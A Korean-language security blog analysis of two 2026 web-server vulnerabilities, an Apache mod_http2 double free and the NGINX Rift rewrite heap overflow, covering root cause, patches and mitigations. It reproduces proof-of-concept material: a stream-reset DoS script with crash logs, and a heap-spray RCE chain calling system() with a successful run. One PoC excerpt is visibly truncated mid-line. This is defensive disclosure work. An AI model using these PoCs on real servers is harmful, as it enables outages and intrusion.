2026년 5월, 웹 인프라를 뛰흔든 두 개의 Critical 취약점: Apache CVE-2026-23918 & NGINX Rift (CVE-2026-42945)# Introduction 2026년 5월은 전 세계 웹 인프라의 양대 축인 **Apache HTTP Server**와 **Nginx** 양쪽 모두에서 다수의 보안 패치가 공개된 한 달이었습니다. Apache 진영에서는 5월 4일 공개된 `2.4.67` 릴리스에서 총 5개의 CVE가 한꺼번에 수정되었고, Nginx 진영에서는 5월 13일 공개된 NGINX Rift 취약점 묶음(4개 CVE)이 `1.30.1` / `1.31.0` 패치로 함께 처리되었습니다. 이번 글에서는 5월에 공개된 모든 취약점을 나열하기보다, 각 제품군에서 **운영 환경에 미치는 영향이 가장 크고, 익스플로잇 가능성과 노출도가 모두 높은 1건씩**을 선정해 분석하고자 합니다. 두 취약점을 대표로 선정한 기준은 다음과 같습니다. - **무인증 원격 코드 실행(RCE) 가능성**: 인증 없이 단일 TCP 연결만으로 트리거 가능한지 - **기본 빌드/기본 구성에서의 노출도**: 특수 모듈이나 비주류 빌드 옵션이 아닌 표준 배포에서 영향을 받는지 - **취약점 잠복 기간 및 사용 범위**: 코드베이스에 오래 존재하며 광범위하게 배포되었는지 - **실제 익스플로잇 진행 여부**: PoC 공개 또는 실 환경 공격이 관측되었는지 이 기준을 적용했을 때 Apache에서는 **CVE-2026-23918 (HTTP/2 Double Free)** 가, Nginx에서는 **CVE-2026-42945 (NGINX Rift)** 가 가장 명확히 부각됩니다. 전자는 HTTP/2가 사실상 기본 활성화된 현대 Apache 운영 환경에서 무인증 DoS·RCE를 모두 노릴 수 있는 메모리 손상 취약점이고, 후자는 18년간 코드베이스에 잠복해 있었으며 모든 안정 버전(0.6.27 \~ 1.30.0)에 영향을 미치는 힙 오버플로우 취약점입니다. 두 취약점 모두 CVSS 8점대 후반 \~ 9점대로 평가되었고, 공개 직후 PoC와 실 환경 공격이 보고되었습니다. --- # 1. Apache HTTP Server — CVE-2026-23918 (HTTP/2 Double Free) ## Introduction 가장 먼저 살펴볼 취약점은 `CVE-2026-23918` 입니다. 해당 취약점은 Apache HTTP Server 2.4.66의 HTTP/2 모듈(`mod_http2`)에서 발생하는 Double Free 취약점으로, HTTP/2 스트림이 멀티플렉서에 등록되기 전 단계에서 클라이언트가 `HEADERS` 프레임 직후 `RST_STREAM` 프레임을 전송하는 "조기 스트림 종료(early stream reset)" 시퀀스를 사용할 때 발생합니다. 이때 동일한 `h2_stream` 포인터가 정리 큐(`spurge`)에 중복으로 적재되어, 동일 메모리가 두 번 해제되는 전형적인 double-free가 일어납니다. APR 메모리 할당자가 mmap allocator를 사용하는 환경에서는 무인증 원격 코드 실행으로까지 이어질 수 있습니다. ## Vulnerability Detail | 항목 | 내용 | | --- | --- | | CVE | CVE-2026-23918 | | Vulnerability | Double Free (CWE-415), HTTP/2 스트림 정리 경로의 이중 해제 | | CVSS (3.1) | `HIGH` 8.8 | | Product | Apache HTTP Server (httpd) | | Version | <= 2.4.66 (HTTP/2 활성화 + 멀티스레드 MPM) | | Patch Version | 2.4.67 (2026-05-04 릴리스) | | Link | `https://nvd.nist.gov/vuln/detail/CVE-2026-23918` | | Description | Double-free vulnerability in Apache HTTP Server `mod_http2` (h2_mplx.c) during early stream reset. Allows remote DoS and possible RCE on Apache 2.4.66 and earlier. Users are recommended to upgrade to 2.4.67. | ## Analysis 이 취약점은 Apache HTTP/2 모듈(`mod_http2`)의 **멀티플렉서 스트림 정리 과정**에서 발생합니다. 클라이언트가 `HEADERS` 프레임 전송 직후 오류 상태의 `RST_STREAM` 프레임을 전송하면, 정리 루틴이 연속 실행되면서 동일한 `h2_stream` 포인터가 정리 배열(`spurge`)에 중복 삽입될 수 있습니다. 이후 purge 처리 단계에서 동일 스트림 객체가 두 번 해제되어 Double Free가 발생합니다. ### spurge 배열 중복 삽입 검증 부재 이 취약점의 본질은 `mod_http2`의 정리 큐(`m->spurge`)에 **동일한** `h2_stream` **포인터가 중복으로 push될 수 있는 경로**가 존재한다는 점입니다. Apache 공식 git 저장소의 패치 커밋([apache/httpd@542e0da](https://github.com/apache/httpd/commit/542e0da07048d3934ef18c22b44cf8d62e64067f))의 `modules/http2/h2_mplx.c` 변경사항을 살펴보면 원인이 명확히 드러납니다. 🔍 `/modules/http2/h2_mplx.c` (Apache 2.4.66 / mod_http2 2.0.35, 패치 전) ```c static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream) { ap_assert(!stream_is_running(stream)); h2_ihash_remove(m->shold, stream->id); /* (1) spurge 배열에 대한 중복 검증 없이 그대로 push. * 동일 stream 포인터가 다른 정리 경로에서 이미 들어가 있어도 그대로 추가됨. */ APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; } static void m_stream_cleanup(h2_mplx *m, h2_stream *stream) { /* ... */ if (/* 처리 완료된 스트림 경로 */) { ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1, H2_STRM_MSG(stream, "cleanup, c2 is done, move to spurge")); /* (2) 또 다른 호출 지점. 역시 중복 검증 없이 직접 push. */ APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; } /* ... */ else { /* (3) "한 번도 시작된 적이 없는" 스트림 경로. 동일 패턴. */ ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1, H2_STRM_MSG(stream, "cleanup, never started, move to spurge")); APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; } } ``` 위 코드를 살펴보면 세 곳에서 spurge에 직접 push가 일어나며, 어느 한 곳도 **"이 스트림이 이미 spurge에 등록되어 있는가"** 를 확인하지 않는 것을 확인할 수 있습니다. HTTP/2 조기 종료(early reset) 시 nghttp2의 두 콜백(`on_frame_recv_cb`, `on_stream_close_cb`)이 짧은 간격으로 연속 호출되며 양쪽 모두 `h2_mplx_c1_client_rst() → m_stream_cleanup()` 경로를 타게 되는데, 이때 위 (2)·(3) 분기가 두 번 실행되어 **동일한** `h2_stream *` **포인터가** `spurge` **배열에 두 번 push**되게 됩니다. 이후 `c1_purge_streams()`가 배열을 순회하며 각 항목에 대해 `h2_stream_destroy() → apr_pool_destroy()`를 호출할 때, 두 번째 호출은 이미 해제된 메모리를 다시 free하는 **double-free**가 됩니다. ### 트리거 흐름 (Early Stream Reset) 공격자는 다음 두 프레임만 동일 스트림에서 연속 전송하면 됩니다. 1. `HEADERS` 프레임 전송 (스트림이 multiplexer에 정식 등록되기 전 상태) 2. 즉시 `RST_STREAM` 프레임 (non-zero 에러 코드) 이 시퀀스는 nghttp2가 두 콜백(`on_frame_recv_cb`, `on_stream_close_cb`)을 짧은 간격으로 연속 호출하게 만들고, 양쪽 모두 위 (2)·(3) 분기를 통과시켜 spurge에 동일 포인터를 두 번 들어가게 합니다. 인증·특정 URL·특수 헤더가 모두 불필요하며, 단일 TCP 연결과 두 개의 프레임만으로 워커 프로세스가 SIGSEGV로 종료됩니다. ### 익스플로잇 시나리오 **DoS**는 사실상 무조건 성립합니다. TCP 1개 연결, 프레임 2개, 인증 불필요, 특정 URL 불필요한 조건이며, 워커 프로세스가 약 30초 \~ 3분 내에 충돌합니다 (실측: **6초** 만에 충돌 확인). 멀티스레드 MPM(worker/event 등) 환경에서는 워커 풀 전체가 빠르게 무너집니다. **RCE 체인**은 다음 조건이 모두 만족될 때 성립합니다. - APR이 `mmap` allocator를 사용 (Debian 계열, 공식 Apache 빌드의 기본값) - 멀티스레드 MPM 사용 (worker, event 등) 공격자는 free된 가상 주소에 mmap 재사용을 통해 **가짜** `h2_stream` **구조체**를 배치하고, 그 구조체의 pool cleanup 함수 포인터를 `system()`으로 설정합니다. 명령 문자열은 ASLR이 켜져 있어도 고정 주소에 위치하는 Apache **scoreboard 메모리**에 배치하여 안정적으로 트리거할 수 있습니다. ## Exploit 위 분석 내용을 토대로 실제 취약점을 재현하기 위해 공개된 Docker 기반 PoC (`rhasan-com/CVE-2026-23918`)를 활용합니다. 해당 저장소는 Apache 공식 `httpd:2.4.66` Docker 이미지 위에 `mod_http2` + `mod_ssl` + `mpm_event`를 활성화한 취약 환경과 Python 기반 PoC 스크립트를 함께 제공합니다. ### Docker 환경 구성 🔍 `/Dockerfile` 일부 ```bash FROM httpd:2.4.66 # HTTP/2, SSL, MPM event 모듈 활성화 RUN sed -i \\ -e 's/#LoadModule ssl_module/LoadModule ssl_module/' \\ -e 's/#LoadModule http2_module/LoadModule http2_module/' \\ -e 's/#LoadModule mpm_event_module/LoadModule mpm_event_module/' \\ /usr/local/apache2/conf/httpd.conf # 자체 서명 SSL 인증서 생성 및 8443 바인딩 + HTTP/2 활성화 설정 추가 RUN printf '\\nListen 8443 https\\nProtocols h2 h2c http/1.1\\n...' \\ >> /usr/local/apache2/conf/httpd.conf EXPOSE 8443 ``` 🔍 `/docker-compose.yml` ```yaml services: apache-lab: build: context: . dockerfile: Dockerfile ports: - "8443:8443" restart: unless-stopped security_opt: - seccomp:unconfined cap_add: - SYS_PTRACE ``` ### PoC 핵심 로직 🔍 `/poc.py` 일부 ```python # 100개의 워커 스레드가 동시에 HTTP/2 연결을 열고, # 각 연결마다 50개의 스트림을 생성한 뒤 3개마다 즉시 RST_STREAM 전송 for i in range(50): sid = conn.get_next_available_stream_id() conn.send_headers(sid, [ (b":method", b"GET"), (b":scheme", b"https"), (b":authority", self.target.encode()), (b":path", b"/"), ]) sock.sendall(conn.data_to_send()) if i % 3 == 0: # HEADERS 직후 즉시 RST_STREAM 전송 → early reset 트리거 conn.reset_stream(sid, error_code=1) sock.sendall(conn.data_to_send()) ``` 위 코드는 본 글의 Analysis 섹션에서 설명한 "HEADERS 프레임 → 즉시 RST_STREAM" 시퀀스를 100개 스레드 × 50개 스트림 규모로 병렬 전송하여 워커 프로세스의 spurge 중복 삽입 경로를 의도적으로 빠르게 트리거합니다. ### PoC 검증 절차 다음 절차로 PoC를 실행합니다. Python 런타임 오염을 피하기 위해 가상환경(`venv`)을 사용합니다. ```bash # 1. PoC 저장소 클론 git clone cd CVE-2026-23918 # 2. 취약 환경 기동 (httpd:2.4.66 이미지 빌드 및 구동) docker-compose up --build -d # 3. Python 가상환경 구성 및 h2 라이브러리 설치 python3 -m venv venv source venv/bin/activate pip install h2 # 4. PoC 실행 python3 poc.py --target 127.0.0.1 --port 8443 # 5. 워커 프로세스 크래시 로그 모니터링 (별도 터미널) docker-compose logs -f apache-lab # 6. 정리 deactivate docker-compose down -v ``` ### PoC 실행 결과 **PoC 실행 출력** (`python3 poc.py --target 127.0.0.1 --port 8443`) ``` ============================================================ CVE-2026-23918 DoS PoC ============================================================ Target : 127.0.0.1:8443 / Workers: 100 / Streams: 50 per conn ============================================================ [*] Server check... [+] Server is up and running ============================================================ !!! SERVER CRASHED at t=6s !!! Stats: connections=756 reqs=4791 resets=1749 ============================================================ Connections : 786 Requests : 4816 RST_STREAM : 1765 Conn Errors : 8 Stream Errs : 24727 !!! DOUBLE-FREE CONFIRMED !!! ============================================================ ``` **Apache 워커 크래시 로그** (`docker-compose logs -f apache-lab`) ``` [Wed May 27 15:43:06.489887 2026] [mpm_event:notice] AH00489: Apache/2.4.66 configured [Wed May 27 15:43:06.489902 2026] [core:notice] AH00094: Command line: 'httpd -D FOREGROUND' [Wed May 27 15:43:26.573934 2026] [core:notice] AH00052: child pid 8 exit signal Segmentation fault (11) [Wed May 27 15:43:26.574429 2026] [core:notice] AH00052: child pid 9 exit signal Abort (6) [Wed May 27 15:43:26.574869 2026] [core:notice] AH00052: child pid 10 exit signal Segmentation fault (11) [Wed May 27 15:43:27.579255 2026] [core:notice] AH00052: child pid 167 exit signal Segmentation fault (11) [Wed May 27 15:43:27.581672 2026] [core:notice] AH00052: child pid 168 exit signal Segmentation fault (11) [Wed May 27 15:43:27.582008 2026] [core:notice] AH00052: child pid 176 exit signal Segmentation fault (11) [Wed May 27 15:43:28.589413 2026] [core:notice] AH00052: child pid 326 exit signal Segmentation fault (11) [Wed May 27 15:43:28.590080 2026] [core:notice] AH00052: child pid 327 exit signal Segmentation fault (11) [Wed May 27 15:43:28.590606 2026] [core:notice] AH00052: child pid 329 exit signal Segmentation fault (11) [Wed May 27 15:43:28.590630 2026] [core:notice] AH00052: child pid 338 exit signal Segmentation fault (11) [Wed May 27 15:43:29.598274 2026] [core:notice] AH00052: child pid 539 exit signal Segmentation fault (11) [Wed May 27 15:43:29.598930 2026] [core:notice] AH00052: child pid 540 exit signal Segmentation fault (11) [Wed May 27 15:43:30.607416 2026] [core:notice] AH00052: child pid 657 exit signal Segmentation fault (11) [Wed May 27 15:43:30.607985 2026] [core:notice] AH00052: child pid 658 exit signal Segmentation fault (11) ... (total: 30 worker exits - 27x SIGSEGV + 3x Abort) ``` ## Patch `CVE-2026-23918` 취약점이 패치된 버전(2.4.67)에서는 `add_for_purge()`라는 단일 진입점을 두어 spurge 배열에 push하기 전에 동일 포인터가 이미 존재하는지 선형 탐색으로 확인하는 방식으로 수정되었습니다. > 🔍 `/modules/http2/h2_mplx.c` (Apache 2.4.67 / mod_http2 2.0.37, 패치 후) ```c /* 패치로 신규 추가된 함수 */ static int add_for_purge(h2_mplx *m, h2_stream *stream) { int i; /* spurge 배열을 선형 탐색하여 동일 포인터가 이미 등록되어 있는지 확인 */ for (i = 0; i < m->spurge->nelts; ++i) { h2_stream *s = APR_ARRAY_IDX(m->spurge, i, h2_stream*); if (s == stream) /* already scheduled for purging */ return FALSE; /* 이미 등록 → 추가 push 금지 (double-free 차단) */ } /* 미등록 시에만 실제 push 수행 */ APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; return TRUE; } static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream) { /* (1') 직접 push 대신 dedup 함수 호출 */ add_for_purge(m, stream); } static void m_stream_cleanup(h2_mplx *m, h2_stream *stream) { /* ... */ if (/* 처리 완료된 스트림 경로 */) { /* (2') 두 번째 호출 지점도 dedup 함수로 교체 */ add_for_purge(m, stream); } /* ... */ else { /* (3') 세 번째 호출 지점. 이미 등록된 경우엔 로그도 남기지 않음 */ int added = add_for_purge(m, stream); if (added) ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1, H2_STRM_MSG(stream, "cleanup, never started, move to spurge")); } } ``` 어떤 cleanup 경로가 중복 트리거되더라도 동일 `h2_stream` 포인터가 두 번 destroy되지 않으므로, HTTP/2 트리거 자체(HEADERS + 즉시 RST_STREAM)는 여전히 가능하지만 메모리 손상은 발생하지 않습니다. 동일 커밋에서 `MOD_HTTP2_VERSION` 매크로가 `2.0.35` → `2.0.37`로 함께 올라간 것이 이 변경이 정식 릴리스의 일부임을 보여줍니다. ## Mitigation 1. **Apache HTTP Server를 2.4.67 이상으로 즉시 업그레이드**합니다. 동일 릴리스에서 `CVE-2026-24072`(`mod_rewrite` 권한 상승) 등 다른 4개 CVE도 함께 해소되므로, 부분 백포트보다 정식 업그레이드를 우선 권장합니다. 2. **즉시 업그레이드가 어렵다면 임시 완화 조치를 적용**합니다. - `Protocols`에서 `h2`, `h2c` 제거 → HTTP/2 비활성화 (성능 영향 검토 필요) - 또는 `mod_http2` 자체 비활성화 (`a2dismod http2` 또는 `LoadModule http2_module ...` 주석 처리) - HTTP/2를 유지해야 하는 경우 MPM을 `prefork`로 전환하는 임시 조치도 검토할 수 있으나, 동시성·메모리 특성이 달라지므로 사전 부하 검증이 필요합니다. 3. **이상 행위 탐지 룰을 추가**합니다. 단일 HTTP/2 연결에서 `HEADERS` 직후 비정상 에러 코드(Non-zero)의 `RST_STREAM`이 반복되는 패턴, 짧은 시간 내 워커 프로세스 segfault/abort 로그, `httpd`/`apache2` 코어덤프 누적 등이 핵심 탐지 신호입니다. --- # 2. Nginx — CVE-2026-42945 (NGINX Rift) ## Introduction 다음으로 살펴볼 취약점은 `CVE-2026-42945` 입니다. NGINX Rift라는 코드명으로 명명된 이 취약점은 NGINX의 핵심 URL 재작성 모듈인 `ngx_http_rewrite_module`에서 발생하는 힙 버퍼 오버플로우(CWE-122)로, 2008년 NGINX 0.6.27에서 최초 도입된 이후 **약 18년간 탐지되지 않은 상태로 존재**해 왔습니다. 인증 없이 단일 HTTP 요청만으로 워커 프로세스를 충돌시킬 수 있으며, ASLR이 비활성화된 환경에서는 원격 코드 실행(RCE)으로 이어집니다. 또한 이 취약점은 **자율 취약점 분석 시스템(AI)** 이 발견했다는 점에서도 주목할 만합니다. 보고자인 depthfirst에 따르면, 자사의 AI 분석 시스템이 NGINX 소스코드를 스캔한 지 약 6시간 만에 본 힙 오버플로우를 포함한 4건의 메모리 손상 취약점을 식별했다고 합니다. ## Vulnerability Detail | 항목 | 내용 | | --- | --- | | CVE | CVE-2026-42945 (코드명: NGINX Rift) | | Vulnerability | Heap Buffer Overflow (CWE-122), rewrite 스크립트 엔진 크기 불일치 | | CVSS (4.0) | `CRITICAL` 9.2 | | Product | NGINX Open Source / NGINX Plus | | Version | OSS 0.6.27 \~ 1.30.0, Plus R32 \~ R36 | | Patch Version | OSS 1.30.1 (stable) / 1.31.0 (mainline), Plus R32 P6 / R36 P4 / 37.0.0 (2026-05-13) | | Link | `https://nvd.nist.gov/vuln/detail/CVE-2026-42945` | | Description | Heap buffer overflow in NGINX `ngx_http_rewrite_module` when a `rewrite` directive's replacement contains `?` and a subsequent `set`/`if`/`rewrite` references an unnamed PCRE capture. Triggers DoS and possible RCE without authentication. | ## Analysis NGINX의 스크립트 엔진은 `rewrite`/`set`/`if` 디렉티브를 컴파일한 뒤 **(1) 결과 버퍼 길이 계산 → (2) 실제 데이터 쓰기**의 두 패스 구조로 실행합니다. 두 패스가 동일한 이스케이프 규칙을 적용해야 버퍼 크기와 실제 쓰기 길이가 일치하는데, 이 일관성을 좌우하는 `is_args` 플래그가 **rewrite 코드 종료 시점에 리셋되지 않는 버그**가 18년간 잠복해 있었습니다. ### rewrite 종료 시 is_args 플래그가 리셋되지 않음 NGINX 공식 git 저장소의 패치 커밋([nginx/nginx@524977e](https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686))의 `src/http/ngx_http_script.c` 변경사항을 살펴보면 **단 한 줄의 차이**로 원인이 드러납니다. 🔍 `/src/http/ngx_http_script.c` (NGINX ≤ 1.30.0, 패치 전) ```c void ngx_http_script_regex_end_code(ngx_http_script_engine_t *e) { ngx_http_script_regex_end_code_t *code; code = (ngx_http_script_regex_end_code_t *) e->ip; /* ... */ r = e->request; /* (1) e->is_args는 리셋하지 않고, e->quote만 리셋 * ↳ rewrite 치환 문자열에 '?'가 포함되어 있었다면 * 앞 단계에서 ngx_http_script_start_args_code()가 * e->is_args = 1로 세팅한 상태가 그대로 남는다. */ e->quote = 0; ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0, "http script regex end"); } ``` 이 한 줄짜리 누락이 어떻게 힙 오버플로우로 이어지는지가 핵심입니다. 자세한 흐름은 다음과 같습니다. 1. `rewrite ^/api/(.*)$ /internal?x=$1 last;` 처럼 치환 문자열에 `?`가 포함되면 `ngx_http_script_start_args_code()`가 메인 엔진에 `e->is_args = 1`을 세팅합니다. 2. rewrite 처리가 끝나도 위 코드가 `e->is_args`를 0으로 되돌리지 않으므로, 이후 실행되는 `set $myvar $1;` 이나 `if`/`rewrite` 같은 후속 디렉티브는 **여전히 "args 컨텍스트"로 판단된 상태에서 평가**됩니다. 3. 이때 길이 계산 패스는 `ngx_memzero(&le, sizeof(ngx_http_script_engine_t))`로 초기화된 **서브 엔진** `le`를 쓰기 때문에 `le.is_args = 0`이 되어 이스케이프 미적용 상태로 캡처 원본 길이만 계산하고 버퍼를 할당합니다. 4. 반면 실제 쓰기 패스는 메인 엔진의 `e->is_args = 1`을 그대로 보고, `ngx_escape_uri()`가 `+`, `%`, `&` 등 문자를 각각 3바이트(`%XX`)로 확장 기록합니다. 5. 결과적으로 `N` 바이트로 할당된 힙 버퍼에 `N + 2 × (이스케이프 대상 문자 수)` 바이트가 기록되며 **힙 버퍼 오버런**이 발생합니다. ### 트리거 조건 위 코드 경로를 실제로 타고 들어가려면 다음 세 조건이 모두 만족되는 NGINX 설정이 필요합니다. - `rewrite` 디렉티브의 치환 문자열에 `?` 포함 - 이후 `set`/`if`/`rewrite`에서 **unnamed PCRE 캡처(**`$1`**,** `$2` **…)** 를 참조 - 공격 URI에 이스케이프 대상 문자(`+`, `%`, `&`)가 대량 포함 이는 API 게이트웨이, 레거시 마이그레이션, 쿼리스트링 재조립 등에서 **흔히 나타나는 패턴**입니다. 따라서 단순히 "취약 디렉티브를 쓰지 않으면 된다"고 가정해서는 안 되며, 운영 설정 전수 점검이 필요합니다. ### 익스플로잇 시나리오 **DoS**: 위 세 조건이 만족되는 환경에서 공격자는 `%26`, `%2B`, `%25` 같은 인코딩된 문자가 대량 포함된 URI를 단발 전송하는 것만으로 워커 프로세스를 **SIGSEGV/SIGABRT**로 종료시킬 수 있습니다. **RCE**: 손상된 cleanup 포인터를 따라가 공격자가 힙 스프레이로 배치한 가짜 구조체에 도달하고, `system(command)`이 호출되어 무인증 RCE가 성립합니다. ASLR이 비활성화된 환경에서 공개 PoC는 안정적으로 동작하며, ASLR이 켜진 현대 OS에서는 난이도가 올라가지만 NGINX의 master → worker fork 구조상 **워커 간 힙 레이아웃이 동일하게 복제**된다는 점이 익스플로잇 안정성을 높이는 구조적 요인으로 지적되었습니다. VulnCheck에 따르면 공개 3일 후인 **2026-05-16부터 실제 익스플로잇 시도가 관측**되었으며, 이는 패치 적용 윈도우가 거의 없는 수준으로 좁아진 사례에 해당합니다. ## Exploit 본 취약점은 보고자인 depthfirst가 직접 공개한 Docker 기반 PoC (`DepthFirstDisclosures/Nginx-Rift`)를 활용하여 재현합니다. 해당 저장소는 Ubuntu 22.04 위에서 NGINX를 취약 commit으로 직접 소스 컴파일한 환경과, 힙 스프레이 + 페이크 구조체 배치를 통한 RCE 익스플로잇 스크립트를 제공합니다. ### Docker 환경 구성 🔍 `/env/Dockerfile` ```bash FROM ubuntu:22.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y \\ gcc make libpcre2-dev libssl-dev zlib1g-dev \\ util-linux python3 curl git \\ && rm -rf /var/lib/apt/lists/* # 취약 commit(98fc3bb78)으로 nginx 소스 체크아웃 후 컴파일 RUN git clone /nginx-src \\ && cd /nginx-src && git checkout 98fc3bb78 RUN cd /nginx-src && ./auto/configure \\ --builddir=build \\ --with-cc-opt='-g -O2 -fno-omit-frame-pointer' \\ --with-ld-opt='-Wl,-z,relro -Wl,-z,now' \\ --with-http_ssl_module --with-http_v2_module \\ && make -j$(nproc) WORKDIR /app COPY nginx.conf server.py entrypoint.sh ./ RUN chmod +x entrypoint.sh && mkdir -p logs tmp ENTRYPOINT ["/app/entrypoint.sh"] EXPOSE 19321 ``` 🔍 `/env/entrypoint.sh` ```bash #!/bin/bash cd /app python3 server.py &>/dev/null & # setarch -R 옵션으로 ASLR 비활성화 (RCE PoC의 결정론적 주소 사용을 위해) exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf ``` 🔍 `/env/nginx.conf` 일부 — 취약 패턴이 그대로 노출된 설정 ``` server { listen 19321; # rewrite + set 조합이 버그를 트리거: # - rewrite는 '?' 때문에 e->is_args = 1을 세팅 # - set $original_endpoint $1 은 원본 캡처 길이로 버퍼를 할당하지만 # 쓰기 시에는 이스케이프 확장이 적용되어 3배로 부풀어 오른다 location ~ ^/api/(.*)$ { rewrite ^/api/(.*)$ /internal?migrated=true; set $original_endpoint $1; } # 힙 스프레이: POST 본문이 pool 메모리에 그대로 저장됨 location /spray { client_body_in_single_buffer on; proxy_pass ; proxy_read_timeout 60s; } } ``` ### PoC 핵심 로직 🔍 `/poc.py` 일부 ```python # 1단계: /spray 엔드포인트로 가짜 구조체(SYSTEM_ADDR, data_addr, 0)와 # 명령어 페이로드를 담은 POST 본문을 20회 분사 → 힙 스프레이 def make_body(cmd, data_addr): fake_struct = struct.pack(' /tmp/pwned' # 6. RCE 검증 docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned # 7. 정리 deactivate docker compose -f env/docker-compose.yml down -v ``` ### PoC 실행 결과 > 테스트 환경: Apple Silicon (aarch64) + Docker Desktop Docker 옵션 `--platform linux/amd64` 지정 후 `poc.py`의 `LIBC_BASE`를 컨테이너 실제 값(`0x7ffffefc0000`)으로 패치하여 실행 했습니다. **PoC 클라이언트 출력** (`python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'`) ``` [*] Waiting for nginx on 127.0.0.1:19321... [+] Connected. [+] try 1/10 crashed -- system("echo hello from depthfirst > /tmp/pwned") executed [+] Done. ``` **RCE 결과 검증** (`docker compose exec nginx cat /tmp/pwned`) ``` === ls -la /tmp/pwned === -rw-r--r-- 1 nobody nogroup 22 May 27 16:01 /tmp/pwned === cat /tmp/pwned === hello from depthfirst ``` **결과**: RCE **첫 시도에 성립** — NGINX 워커가 `system("echo hello from depthfirst > /tmp/pwned")`를 실행하여 `/tmp/pwned` 생성 확인. ## Patch `CVE-2026-42945` 취약점이 패치된 버전(1.30.1 / 1.31.0)에서는 `ngx_http_script_regex_end_code()` 함수에 `e->is_args = 0;` 한 줄을 추가하는 방식으로 수정되었습니다. > 🔍 `/src/http/ngx_http_script.c` (NGINX 1.30.1 / 1.31.0, 패치 후) ```c void ngx_http_script_regex_end_code(ngx_http_script_engine_t *e) { ngx_http_script_regex_end_code_t *code; code = (ngx_http_script_regex_end_code_t *) e->ip; /* ... */ r = e->request; /* (1') is_args를 함께 0으로 리셋. * rewrite의 args 컨텍스트가 이후 set/if/rewrite로 누설되지 않도록 차단. * → 길이 계산과 쓰기 패스가 동일한 이스케이프 규칙을 적용하게 되어 * 버퍼 크기 불일치(= 힙 오버런) 자체가 발생하지 않는다. */ e->is_args = 0; e->quote = 0; ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0, "http script regex end"); } ``` 수정 자체는 한 줄(`e->is_args = 0;`) 추가이지만, 이 한 줄로 **rewrite 종료 후 args 컨텍스트가 후속 디렉티브로 새어 나가는 경로가 차단**되어 길이 계산과 쓰기 패스가 다시 일관된 이스케이프 규칙으로 동작합니다. 커밋 본문에 "A similar issue was fixed in 74d9399"로 명시된 것을 보면, 스크립트 엔진의 상태 전파 모델 자체가 **구조적으로 이러한 플래그 누설을 반복적으로 일으킨 밑바탕**임을 알 수 있습니다. ## Mitigation 1. **즉시 패치**: NGINX Open Source는 1.30.1(stable) 또는 1.31.0(mainline)으로, NGINX Plus는 R32 P6 / R36 P4 / 37.0.0으로 업그레이드하고 **워커 프로세스를 reload가 아닌 재시작**으로 교체해야 합니다 (`nginx -s reload`로는 새 바이너리가 로드되지 않음). 2. **즉시 패치가 어려운 경우 설정 단계 완화**: 취약한 패턴인 unnamed 캡처(`$1`)를 **named 캡처(**`?`**)** 로 교체하면 취약 코드 경로 자체가 사라집니다. ``` # 취약 rewrite ^/users/([0-9]+)$ /profile.php?id=$1 last; # 안전 rewrite ^/users/(?[0-9]+)$ /profile.php?id=$user_id last; ``` 3. **탐지 룰 배포**: WAF/IDS에 단일 URI 내 인코딩 문자(`%26`, `%2B`, `%25`)가 비정상적으로 다수 포함된 요청을 탐지·차단하는 룰을 배포합니다. `error.log`의 `worker process ... exited on signal 11` 패턴, NGINX 코어덤프 누적도 핵심 신호입니다. 4. **함께 공개된 다른 CVE 동시 패치**: NGINX Rift는 4-CVE 묶음으로 공개되었으므로 `CVE-2026-42946`, `CVE-2026-40701`, `CVE-2026-42934`도 함께 패치 대상에 포함해야 합니다. --- # Comparison | 항목 | Apache CVE-2026-23918 | Nginx CVE-2026-42945 | | --- | --- | --- | | 취약점 유형 | Double Free (CWE-415) | Heap Buffer Overflow (CWE-122) | | 위치 | `mod_http2` / `h2_mplx.c` | `ngx_http_rewrite_module` / `ngx_http_script.c` | | 트리거 | HTTP/2 HEADERS + 즉시 RST_STREAM | 특정 rewrite 설정 + 조작된 URI | | 인증 필요 | 없음 | 없음 | | DoS 난이도 | 매우 낮음 | 매우 낮음 | | RCE 조건 | mmap allocator + 멀티스레드 MPM | 특정 rewrite 설정 + ASLR 우회 | | 노출 범위 | HTTP/2 활성 Apache 2.4.66 이하 | rewrite 사용 Nginx 0.6.27 \~ 1.30.0 | | 잠복 기간 | 비교적 최근 도입 코드 | 약 18년 | | 패치 | 2.4.67 (2026-05-04) | 1.30.1 / 1.31.0 (2026-05-13) | | 공개 PoC | rhasan-com/CVE-2026-23918 (Docker) | DepthFirstDisclosures/Nginx-Rift (Docker) | 두 취약점은 발생 원인(double-free vs heap overflow)과 트리거 표면(HTTP/2 프로토콜 vs 설정 의존적 rewrite 경로)이 다르지만, 공통적으로 다음을 시사합니다. - **표준 모듈에서의 메모리 안전성 결함이 여전히 현역 위협**이라는 점입니다. HTTP/2, rewrite 모두 운영 환경에서 사실상 기본 활성화에 가까운 모듈입니다. - **공개와 동시에 PoC 또는 실 공격이 따라붙는 흐름**이 강해지고 있습니다. 패치 적용 윈도우가 빠르게 좁아지고 있습니다. - **임시 완화책은 모두 부수 효과를 동반**합니다. HTTP/2 비활성화, named 캡처로의 전환 등이 가능하지만 결국 정식 패치 적용이 본질적 대응입니다. 운영 측면에서는 2026년 5월 안에 두 제품 모두 **버전 인벤토리 점검 → 영향 모듈 사용 여부 식별 → 패치 또는 완화 적용 → 비정상 종료 로그 모니터링**까지의 절차를 마무리해 두는 것이 권장됩니다. --- # References ## Apache CVE-2026-23918 - 공식 패치 커밋 — [apache/httpd@542e0da — mod_http2 2.0.37 (Prevent double purge of a stream, resulting in a double free)](https://github.com/apache/httpd/commit/542e0da07048d3934ef18c22b44cf8d62e64067f) - 공개 PoC (Docker) — 